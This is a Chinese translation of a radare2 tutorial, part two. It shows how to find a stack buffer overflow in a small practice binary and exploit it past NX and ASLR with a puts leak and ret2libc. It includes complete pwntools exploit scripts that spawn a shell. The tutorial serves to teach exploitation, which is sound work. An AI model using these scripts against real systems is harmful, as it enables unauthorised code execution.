翻译自Megabeets。
序言
欢迎来到我们radare2
之旅的第二部分!在这一部分,我们会涵盖radare2
的更多部分,同时这次更注重于二进制漏洞挖掘。
相信大家都一定很期待这第二部分,之后的内容也一定会更快地分享给大家。如果你还没有阅读过这一系列的第一部分,我非常推荐你去读一读。第一部分记录了radare2
的基础内容,同时也解释了很多我今天会用到的命令。
在这一部分,我们的目的是对一个简单的程序进行漏洞挖掘与利用。radare2
有很多不同的功能可以帮我们对漏洞进行利用,例如保护技术、查找 ROP、生成随机序列、查看寄存器内容等等。你可以在本文末尾找到一份命令对应表。今天我会向你们展示这些强大的功能,同时我们用radare2
来绕过在开启ASLR
的系统上运行并且有NX
保护的程序。我假设大家都已经掌握了以下的预备知识:
熟悉这些知识是很重要的一步,因为文章中我并不会细讲,甚至不会对其解释。
更新radare2
首先,我们将radare2
更新至其 git 的最新版版:
$ git clone https://github.com/radare/radare2.git # 如果你还没有克隆下来的话
$ cd radare2
$ ./sys/install.sh
等待更新完成需要很长一段时间,在这期间不如看些视频放松一会儿。
熟悉程序
你可以在这里下载程序,在这里下载源码。
如果你想自己编译程序,用以下命令:
$ gcc -m32 -fno-stack-protector megabeets_0x2.c -o megabeets_0x2
这次的程序与上一次的程序非常相似,只是在main()
函数中有一些细微的改变:
- 编译时不使用参数
-z execstac
来开启NX
- 通过 scanf 来接收用户的输入,而不是通过程序的参数
- 大部分输出的函数为 puts
- 对程序的输出做了一点修改
这是之前的main()
函数:
int main(int argc, char *argv[])
{
printf("\n .:: Megabeets ::.\n");
printf("Think you can make it?\n");
if (argc >= 2 && beet(argv[1]))
{
printf("Success!\n\n");
}
else
printf("Nop, Wrong argument.\n\n");
return 0;
}
然后现在的main
函数是这样的:
int main(int argc, char *argv[])
{
char *input;
puts("\n .:: Megabeets ::.\n");
puts("Show me what you got:");
scanf("%ms", &input);
if (beet(input))
{
printf("Success!\n\n");
}
else
puts("Nop, Wrong argument.\n\n");
return 0;
}
程序的功能十分简单,并且在前一篇文章中我们已经对它很熟悉了——要求输入字符串,与经过rot13
加密的字符串Megabeets
比较。故输入应该为Zrtnorrgf
。
$ ./megabeets_0x2
.:: Megabeets ::.
Show me what you got:
blablablabla
Nop, Wrong argument.
$ ./megabeets_0x2
.:: Megabeets ::.
Show me what you got:
Zrtnorrgf
Success!
这些都很简单,但是我们今天的重点并不是破解一个简单的 crackme,而是对其进行漏洞利用。那我们开始吧!
理解漏洞
对于每一个 PWN 题给出的程序来说,检查程序开了什么保护是一个好习惯。我们可以使用上一篇文章中提到的rabin2
,或者直接在radare2
的 shell 里执行i
命令。因为我们还没有用radare2
打开文件,就先用rabin2
来看看:
$ rabin2 -I megabeets_0x2
arch x86
binsz 6072
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true
在标记的几行中,我们可以看到程序开了NX
,也就是说栈是不可执行的。还有,该程序没有开启Canary
、PIC
或是RELRO
。
现在我们迅速地过一遍程序的执行流,这次我们看一看它的反汇编代码(并不是每次漏洞挖掘都能有源码)。使用radare2
的调试模式打开程序:
$ r2 -d megabeets_0x2
Process with PID 20859 started…
= attach 20859 20859
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32– Your endian swaps
[0xf7782b30]> aas
-d
– 用调试模式打开aas
– 分析函数、符号以及其他- 注意:正如我在前一篇文章所提到的,开始时使用
aaa
分析是最推荐的方式,因为分析本来就是一个很复杂的过程。我在这篇回答里写了更多——读一下也许会让你的理解更深。
现在我们继续执行程序,直到main
函数。只要输入命令dcu main
:
[0xf7797b30]> dcu?
|Usage: dcu Continue until address
| dcu address Continue until address
| dcu [..tail] Continue until the range
| dcu [from] [to] Continue until the range
[0xf7797b30]> dcu main
Continue until 0x08048658 using 1 bpsize
hit breakpoint at: 8048658
dcu
代表debug continue until
现在让我们输入VV
进入图形模式。在第一部分解释过,你可以通过p
和P
切换视角,通过k
/j
/h
/l
分别向上/下/左/右移动,通过g
和调用旁的字母跳转函数(例如gd
)。
用?
来列出所有在图形模式下的命令,同时别忘记R
命令 😉
main()
函数是程序要求我们输入的地方,并且它将输入传给sym.beet
。通过gc
我们跳转到处理我们输入的beet()
函数:
我们可以看到用户的输入[arg_8h]
被复制给一个缓冲区([local_88h]
),然后就是我们在前一篇文章中所看到过的,字符串Megabeets
用rot13
加密了,所得结果与我们的输入做比较。我们之前了解过,我这里就不做深究。
你有看到什么可以的地方吗?我们的输入没有对长度做检查,然后直接复制到了缓冲区中。这意味着如果我们输入一串超过缓冲区大小的字符串,就能导致栈上的缓冲区溢出。至此,我们找到了漏洞。
规划漏洞利用脚本
既然我们已经找到了有漏洞的函数,我们需要构造一个 payload 来利用它。我们的目标很明了,就是在系统上成功开一个 shell。首先,我们要确认确实有一个有漏洞的函数,然后我们需要找到一个我们的 payload 可以覆盖栈的偏移。
我们将会使用一个radare2
框架中的工具,叫做ragg2
。它能够为我们生成一段循环的德布鲁因序列,用来检测覆盖缓冲区的确切的偏移大小。
$ ragg2 -
<truncated>
-P [size] prepend debruijn pattern
<truncated>
-r show raw bytes instead of hexpairs
<truncated>
$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
我们知道我们的程序通过输入流读取我们的输入,而不是从 shell 中读取我们的输入。故我们将会使用又一个来自radare2
工具箱中的工具,rarun2
。
rarun2
可以在不同环境、参数、执行权限、文件夹下运行程序,并且覆盖默认的文件描述符(例如stdin
)如果你需要在跑一个程序时使用很长的参数,它会起很大的作用。而且漏洞利用通常都会向输入流传一大堆数据。
我们需要做以下的三个步骤:
- 使用
ragg2
将德布鲁因序列写入一个文件 - 新建一个
rarun2
配置文件,并且把前一个文件作为stdin
- 让
radare2
来找到偏移
$ ragg2 -P 200 -r > pattern.txt
$ cat pattern.txt
AAABAACAADAAEAAFAAGAAHAAI… <truncated> …7AA8AA9AA0ABBABCABDABEABFA
$ vim profile.rr2
$ cat profile.rr2
#!/usr/bin/rarun2
stdin=./pattern.txt
$ r2 -r profile.rr2 -d megabeets_0x2
Process with PID 21663 started…
= attach 21663 21663
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— Use rarun2 to launch your programs with a predefined environment.
[0xf77c2b30]> dc
Selecting and continuing: 21663
.:: Megabeets ::.
Show me what you got?
child stopped with signal 11
[0x41417641]>
我们运行程序,并将pattern.txt的内容用rarun2
传给stdin
,SIGSEV 11。
一个信号是一种发送给进程或是一个具体线程的异步通知,这样与之相同的进程就会在某个事件发生时得到提醒。
SIGSEGV(11)信号在访问了某个无效的虚拟内存或段错误后会触发。
你发现了吗?我们实时的指针现在指向了0x41417641
。这是一个无效的地址,它表示了字符串AvAA
(小端序及 ascii 码转换),也就是我们送的字符串的一部分。radare2
允许我们找到给出的值在德布鲁因序列中的偏移。
[0x41417641]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr] Write a De Bruijn Pattern of length ‘len’ at address ‘addr’
| wopO value Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO `dr eip`
140
既然我们已经知道需要覆盖返回地址的偏移为 140,我们可以开始编写脚本了。
编写漏洞利用脚本
我之前也提到过很多次,这篇文章不是教一些漏洞利用的基础知识的,它的目的是展示radare2
在漏洞利用中是如何使用的。因此,我不会过多地解释脚本的每个部分。
我们的目标是在系统中产生一个 shell。这有很多种方法,尤其是这样一个程序。为了知道我们能做什么,首先我们需要知道我们不能做什么。我们的程序在开了ASLR
地环境下,所以我们不能猜测到libc在内存中的地址。那就可以和ret2libc说再见了。另外,程序开了NX
,这意味栈是不可执行的,所以我们不能直接在栈上放一个shellcode然后跳过去。
虽然这些保护让我们不能使用一些漏洞利用技术,然而这不能阻止我们轻松地绕过它们。编写我们的脚本时,需要细心地观察提供给我们的运行库以及函数。
让我们再次通过调试模式打开程序,然后看一看它使用的运行库和函数。先看库:
$ r2 -d megabeets_0x2
Process with PID 23072 started…
= attach 23072 23072
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— You haxor! Me jane?
[0xf7763b30]> il
[Linked libraries]
libc.so.61 library
il
表示Information libraries
,即告诉我们程序所使用的运行库。对于该程序来说,只有我们最爱的libc。
现在通过执行ii
命令——Information Imports
,让我们看看导入的函数。我们可以加上q
来减少冗长的输出:
[0xf7763b30]> ii
[Imports]
ordinal=001 plt=0x08048370 bind=GLOBAL type=FUNC name=strcmp
ordinal=002 plt=0x08048380 bind=GLOBAL type=FUNC name=strcpy
ordinal=003 plt=0x08048390 bind=GLOBAL type=FUNC name=puts
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x080483a0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=006 plt=0x080483b0 bind=GLOBAL type=FUNC name=__isoc99_scanf6 imports
[0xf7763b30]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf
计划
- 泄漏
puts
的真实地址 - 计算libc的基址
- 计算
system
的地址 - 在libc中找到包含字符串
/bin/sh
的地址 - 调用
system("/bin/sh")
打开一个 shell
泄漏puts
的地址
我们需要用到ret2plt
来泄漏puts
的真实地址。PLT
(Procedure Linkage Table)是内存中的结构体,它包括一小段代码,能够跳转到在动态链接时程序之外的函数地址。不管什么时候,我们在.text
段看到CALL
指令,并不是直接跳到函数。实际上,它跳转到了PLT
中的一小段代码,像是func_name@plt
这样。这一小段代码跳转到GOT
(Global Offset Table)中的列出的该函数的地址。GOT
表入口点会指回PLT
,同时PLT
会调用一个动态链接器来确定该函数的真实地址。下一次调用func_name@plt
时,这段代码会直接跳转到GOT
表里的函数地址。想要了解更多关于动态链接的知识,我推荐伊恩兰斯泰勒写的这一系列关于链接器的文章
为了达到这个目的,我们需要找到puts
在PLT
以及GOT
中的地址,然后调用puts@plt
并且把puts@got
作为参数。我们将把这些调用连在一起,在scanf
时传给程序。然后我们会返回到我们利用的第二个阶段。puts
将会把它真实的地址输出出来。
+---------------------+
| Stage 1 |
+---------------------+
| padding (140 bytes) |
| puts@plt |
| entry_point |
| puts@got |
+---------------------+
编写脚本我们需要使用pwnlib框架,而且它是我最喜欢的 python 漏洞利用框架。他简化了很多东西,让利用更简便。当然你也可以使用其他你喜欢的方式。
使用pip
下载pwntools:
$ pip install --upgrade pip
$ pip install --upgrade pwntools
你可以在官方文档上了解更多关于pwntools。
这是我们第一阶段的 python 脚本:
from pwn import *
# Addresses
puts_plt =
puts_got =
entry_point =
# context.log_level = "debug"
def main():
# open process
p = process("./megabeets_0x2")
# Stage 1
# Initial payload
payload = "A"*140 # padding
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = payload + ropchain
p.clean()
p.sendline(payload)
# Take 4 bytes of the output
leak = p.recv(4)
leak = u32(leak)
log.info("puts is at: 0x%x" % leak)
p.clean()
if __name__ == "__main__":
main()
我们需要填充puts@plt
和puts@got
的地址,以及程序的入口点。让我们回到radare2
并执行以下命令。字符#
用于注释,字符~
是radare2
的 shell 中的内置grep
。
[0xf7763b30]> # the address of puts@plt:
[0xf7763b30]> ?v sym.imp.puts
0x08048390
[0xf7763b30]> # the address of puts@got:
[0xf7763b30]> ?v reloc.puts_20
0x0804a014
[0xf7763b30]> # the address of program’s entry point (entry0):
[0xf7763b30]> ieq
0x080483d0
sym.imp.puts
和reloc.puts_20
是radare2
自动检测到的标志。命令ie
表示Information Entrypoint
。
现在我们填入我们找到的地址:
...
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
...
我们执行一下脚本:
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23578
[*] puts is at: 0xf75db710
[*] Stopped process ‘./megabeets_0x2’ (pid 23578)
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23592
[*] puts is at: 0xf7563710
[*] Stopped process ‘./megabeets_0x2’ (pid 23592)
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23606
[*] puts is at: 0xf75e3710
[*] Stopped process ‘./megabeets_0x2’ (pid 23606)
我执行了脚本三次,puts
的地址每次都会变得不一样。因此我们不能提前预测它的地址。现在我们需要找到puts
在libc中的偏移,然后计算出libc的基址。在我们找到基址后,我们可以用偏移计算出system
、exit
以及字符串/bin/sh
的地址。
现在我们的脚本应该是这样:
from pwn import *
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
# Offsets
offset_puts =
offset_system =
offset_str_bin_sh =
offset_exit =
# context.log_level = "debug"
def main():
# open process
p = process("./megabeets_0x2")
# Stage 1
# Initial payload
payload = "A"*140
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = payload + ropchain
p.clean()
p.sendline(payload)
# Take 4 bytes of the output
leak = p.recv(4)
leak = u32(leak)
log.info("puts is at: 0x%x" % leak)
p.clean()
# Calculate libc base
libc_base = leak - offset_puts
log.info("libc base: 0x%x" % libc_base)
# Stage 2
# Calculate offsets
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
exit_addr = libc_base + offset_exit
log.info("system: 0x%x" % system_addr)
log.info("binsh: 0x%x" % binsh_addr)
log.info("exit: 0x%x" % exit_addr)
if __name__ == "__main__":
main()
计算真实地址
请注意在文章的这部分,我的结果可能与你的不同。因为我们的 libc 版本不同,所以会产生不同的偏移。
首先我们需要找到puts
在libc上的偏移。我们再一次打开radare2
,继续执行到入口点。做以上步骤的原因是我们在libc载入之前开始调试程序,直到入口点时,运行库才全部加载完。
我们使用dmi
命令,将libc和函数作为参数。我加上了~
来显示相关的信息。
$ r2 -d megabeets_0x2
Process with PID 24124 started…
= attach 24124 24124
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— A C program is like a fast dance on a newly waxed dance floor by people carrying razors – Waldi Ravens
[0xf771ab30]> dcu entry0
Continue until 0x080483d0 using 1 bpsize
hit breakpoint at: 80483d0
[0x080483d0]> dmi libc puts~ puts$
vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts
[0x080483d0]> dmi libc system~ system$
vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system
[0x080483d0]> dmi libc exit~ exit$
vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit
请注意,在这篇文章发表前,dmi
的输出格式就已经改变了。你的结果很有可能与我的有所不同。
所有这些paddr=0x000xxxxx
是函数在libc上的偏移。现在我们需要在程序中找到/bin/sh
的位置。我们将要使用radare2
的一些搜索功能。radare2
默认在dbg.map
,也就是当前内存中查找。我们想要在所有内存中查找则需要设置成:
[0x080483d0]> e search.in = dbg.maps
你可以执行e search.in=?
查看更多选项。执行Ve
配置可视化模式
在radare2
中通过/
命令查找。让我们看看radare2
给我们提供的查找参数:
|Usage: /[amx/] [arg]Search stuff (see ‘e??search’ for options)
| / foo\x00 search for string ‘foo\0’
| /j foo\x00 search for string ‘foo\0’ (json output)
| /! ff search for first occurrence not matching
| /+ /bin/sh construct the string with chunks
| /!x 00 inverse hexa search (find first byte != 0x00)
| // repeat last search
| /h[t] [hash] [len] find block matching this hash. See /#?
| /a jmp eax assemble opcode and search its bytes
| /A jmp find analyzed instructions of this type (/A? for help)
| /b search backwards
| /B search recognized RBin headers
| /c jmp [esp] search for asm code
| /C[ar] search for crypto materials
| /d 101112 search for a deltified sequence of bytes
| /e /E.F/i match regular expression
| /E esil-expr offset matching given esil expressions %%= here
| /f file [off] [sz] search contents of file with offset and size
| /i foo search for string ‘foo’ ignoring case
| /m magicfile search for matching magic file (use blocksize)
| /o show offset of previous instruction
| /p patternsize search for pattern of given size
| /P patternsize search similar blocks
| /r[e] sym.printf analyze opcode reference an offset (/re for esil)
| /R [?] [grepopcode] search for matching ROP gadgets, semicolon-separated
| /v[1248] value look for an cfg.bigendian 32bit value
| /V[1248] min max look for an cfg.bigendian 32bit value in range
| /w foo search for wide string ‘f\0o\0o\0’
| /wi foo search for wide string ignoring case ‘f\0o\0o\0’
| /x ff..33 search for hex string ignoring some nibbles
| /x ff0033 search for hex string
| /x ff43 ffd0 search for hexpair with mask
| /z min max search for strings of given size
提供给我们了许多不同的方式。同时还发心/R
能够帮助我们查找 ROP。可惜这篇文章里我们没有打算使用 ROP。但其他情况下,你们写利用脚本时一定很喜欢用它。
我们不需要任何花哨的东西,只用最简单的查找即可。在这之后,我们先找到当前libc载入的地址,然后计算出/bin/sh
的偏移。
[0x080483d0]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0xffd50000: 2f 62 69 6e 2f 73 68
Searching 7 bytes in [0x8048000-0x8049000]
hits: 0
Searching 7 bytes in [0x8049000-0x804a000]
hits: 0 <..truncated..> Searching 7 bytes in [0xf77aa000-0xf77ab000]
hits: 0
Searching 7 bytes in [0xffd2f000-0xffd50000]
hits: 0
0xf7700768 hit1_0 .b/strtod_l.c-c/bin/shexit 0canonica.
r2
在内存中找到了/bin/sh
。现在我们计算它相对libc基址的偏移:
[0x080483d0]> dmm~libc
0xf7599000 /usr/lib32/libc-2.25.so
[0x080483d0]> ?X 0xf7700768-0xf7599000
167768
我们发现/bin/sh
相对libc基址的偏移为0x167768
。我们把它填进脚本中,并且可以开始我们的最后一个步骤。
...
# Offsets
offset_puts = 0x00062710
offset_system = 0x0003c060
offset_exit = 0x0002f1b0
offset_str_bin_sh = 0x167768
...
获取 shell
漏洞利用的第二阶段很直接。我们继续使用 140 个字符,然后调用system
并将/bin/sh
作为参数,最后exit
。
+---------------------+
| Stage 2 |
+---------------------+
| padding (140 bytes) |
| system@libc |
| exit@libc |
| /bin/sh address |
+---------------------+
还记得上一次我们返回到了入口点吗?这意味着scanf
又在等待我们的输入。现在我们所做的就是把这些调用串联起来传给程序。
这是我们最后的脚本。像我之前所说的,你只需要替换符合你的libc的偏移。
from pwn import *
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
# Offsets
offset_puts = 0x00062710
offset_system = 0x0003c060
offset_exit = 0x0002f1b0
offset_str_bin_sh = 0x167768
# context.log_level = "debug"
def main():
# open process
p = process("./megabeets_0x2")
# Stage 1
# Initial payload
payload = "A"*140
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = payload + ropchain
p.clean()
p.sendline(payload)
# Take 4 bytes of the output
leak = p.recv(4)
leak = u32(leak)
log.info("puts is at: 0x%x" % leak)
p.clean()
# Calculate libc base
libc_base = leak - offset_puts
log.info("libc base: 0x%x" % libc_base)
# Stage 2
# Calculate offsets
system_addr = libc_base + offset_system
exit_addr = libc_base + offset_exit
binsh_addr = libc_base + offset_str_bin_sh
log.info("system is at: 0x%x" % system_addr)
log.info("/bin/sh is at: 0x%x" % binsh_addr)
log.info("exit is at: 0x%x" % exit_addr)
# Build 2nd payload
payload2 = "A"*140
ropchain2 = p32(system_addr)
ropchain2 += p32(exit_addr)
# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
# Then you'll execute system("sh")
ropchain2 += p32(binsh_addr)
payload2 = payload2 + ropchain2
p.sendline(payload2)
log.success("Here comes the shell!")
p.clean()
p.interactive()
if __name__ == "__main__":
main()
跑这个脚本我们就能成功拿到一个 shell:
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 24410
[*] puts is at: 0xf75db710
[*] libc base: 0xf75ce000
[*] system is at: 0xf760a060
[*] /bin/sh is at: 0xf7735768
[*] exit is at: 0xf75fd1b0
[+] Here comes the shell!
[*] Switching to interactive mode:
$ whoami
beet
$ echo EOF
EOF
后记
Radare2
之旅的第二部分就到此结束了。我们简单地学习了一些radare2
中漏洞利用的功能。在下一部分中,我们会学习radare2
再脚本编写和恶意软件分析中的功能。
漏洞利用命令对应表
这是一系列我在本文中提到的命令(还有一些补充)。你可以把它作为一份参考表。
获取信息
$ rabin2 -I ./program
——二进制信息(和radare2
的 shell 中i
命令相同)ii [q]
——导入表?v sym.imp.func_name
——获取func_name@PLT
地址?v reloc.func_name
——获取func_name@GOT
地址ie [q]
——获取入口点地址iS
——查看区段的各个权限(读/写/执行)i~canary
——检查是否开启Canary
i~pic
——检查是否开启PIE
i~nx
——检查是否开启NX
内存
dm
——查看内存信息dmm
——列出模块(内存中的运行库和二进制模块)dmi [addr|libname] [symname]
——列出目标库的标志
查找
e search.*
——编辑查找配置/?
——列出查找的子命令/ string
——在内存或程序段查找字符串/R [?]
——查找特定的 ROP/R/
——ROP 常规搜索
调试
dc
——继续执行dcu addr
——继续执行到某个地址dcr
——继续执行直到ret
(单步步过)dbt [?]
——在dbg.btdepth和dbg.btalgo的基础上回溯指令doo [args]
——重新打开调试并设置参数ds
——单步步入dso
——单步步过
图形模式
pdf @ addr
——输出当前位移下函数的汇编代码V
——可视化模式,使用p
/P
再两个模式间切换VV
——图形模式,在 ascii 图像下分析V!
——控制板模式,对漏洞利用非常有用
看看这篇文章,也许有更多的内容能够帮助到你。